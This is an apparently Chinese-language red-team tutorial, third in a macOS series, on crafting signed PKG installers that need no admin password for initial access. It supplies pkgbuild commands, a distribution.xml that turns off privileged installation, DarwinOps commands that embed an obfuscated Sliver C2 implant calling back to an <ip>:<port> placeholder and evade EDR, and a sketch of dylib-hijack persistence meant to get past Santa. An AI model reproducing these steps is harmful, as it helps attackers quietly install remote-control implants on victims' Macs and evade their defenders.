macOS红队攻击第三篇:利用DarwinOps打造免密PKG实现初始访问
技术现状
PKG文件相当于Windows平台上的MSI安装包,用于在macOS上安装应用程序、脚本、目录等。其中特别值得关注的是preinstall和postinstall脚本(还有其他类型,但这里我们只讨论这两种)。PKG由苹果的Installer二进制程序启动,会提示用户输入管理员密码,以便用所需权限安装文件。(如果用户当前会话没有管理员权限,则无法安装)
使用苹果原生工具pkgbuild生成PKG:
pkgbuild \
--root /需要/安装/的/文件夹 \
--identifier com.example.payload \
--version 1.0 \
payload.pkg
PKG文件必须签名(或不能带有隔离标记),否则macOS会阻止其启动。但与应用程序相比,PKG有一个显著优势:签名后的PKG不会触发额外的警告提示。
如何改进这个攻击向量?
如技术现状和GIF所示,传统的PKG安装需要用户输入管理员密码,这会:
- 增加用户操作的点击次数(不理想)
- 如果用户没有足够权限,则无法执行载荷
在下载大量PKG文件进行研究时(用于下一篇文章),我发现了一个安装程序提供了有趣的选项:
“仅为我安装”——点击后注意到无需输入密码。这个发现值得深入探究,看看我们如何自己构建这样的PKG。
如何创建带有该选项的PKG?
Productbuild工具
默认情况下,我们得到的安装流程如上所示——从未看到过这个选项,pkgbuild似乎也没有提供相关命令。这是因为需要用到productbuild。
关键在于这个distribution.xml配置文件。它可以添加各种选项,包括我们感兴趣的那个:让用户选择安装位置。(实际上,通常更有效的方式是直接从preinstall/postinstall脚本运行stager,所以实际安装目录并不那么重要)
// 典型的distribution.xml文件
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="2">
<options customize="never" hostArchitectures="arm64"/>
<!-- 下面这两个参数允许用户选择安装位置,
包括安装到他们的用户文件夹 -->
<domains enable_currentUserHome="true"/>
<title>增强型pkg</title>
<choices-outline>
<line choice="default"/>
</choices-outline>
<choice id="default" visible="false" title="App">
<pkg-ref id="com.example.app"/>
</choice>
<pkg-ref id="com.example.app" version="1.0">installer.pkg</pkg-ref>
</installer-gui-script>
通过研究domains参数的其他选项,我们可以禁用特权安装,使第二个选项(用户级安装)成为默认选项——这样就不再需要任何额外的用户交互。
命令行实现:
./darwin_ops -t CALC -G payload.pkg --pkg-no-elevation
PKG与C2:使用Sliver构建高级包
接下来看看如何使用DarwinOps将Sliver植入程序嵌入到PKG中。
generate --os macos --format macho --arch arm64 --http <ip>:<port> --skip-symbols
// --skip-symbols 是因为DarwinOps会自行处理混淆部分
对于DarwinOps部分,有多个选项(和子选项):将载荷作为输入并构建PKG(可行但规避能力较弱),或者使用EmbedRun及其私有嵌入方法,从而绕过EDR。
选择embedrun模式。至于嵌入方法,最好根据需求和你试图绕过的EDR来选择——文档中有详细说明。
DarwinOps提供内置文档,帮助指导选择各种选项和子选项,因为其中一些可能需要进一步解释。
./darwin_ops -t EMBED_RUN --embed ./C2/implant/LINEAR_VITALITY --embed-method classic -G ./Outputs/payload.pkg --obfuscate --pkg-no-elevation
实际上,PKG并不会安装任何实质内容,而是利用其中一个脚本将payload解压到embedrun中,并使用所选技术执行它。
如何更进一步?
我们可以利用PKG文件“安装”的特性,通过dylib劫持程序来建立持久化。这在Mac受Santa等解决方案保护的情况下特别有用。
为此,可以依赖ENUM_BIN_INJECT枚举场景,它能识别系统中可通过dylib注入的应用程序(无论是通过环境变量还是代理/顺序劫持)。
一旦识别出易受攻击的应用程序并确认目标Mac上存在该应用,就可以制作一个PKG,同时嵌入恶意dylib(例如运行Mythic Apfell)和合法dylib(进程所需),而恶意dylib将代理这些调用。
这里不再深入探讨,因为下一篇文章将详细介绍枚举和注入模板,届时会解释使用DarwinOps进行此操作的完整流程,包括用于初始访问的PKG和DMG等多种格式。FINISHED CSD0tFqvECLokhw9aBeRqiAtBdroPKrTJORmTzK0GBgZWsFgYgIBpfB50FEBXBcaJQkdVsbuh1kd8VWZwTuvS2/8+4chYUORhFAzTecc9wkQncj8bSBqHrzCdH++8Fgi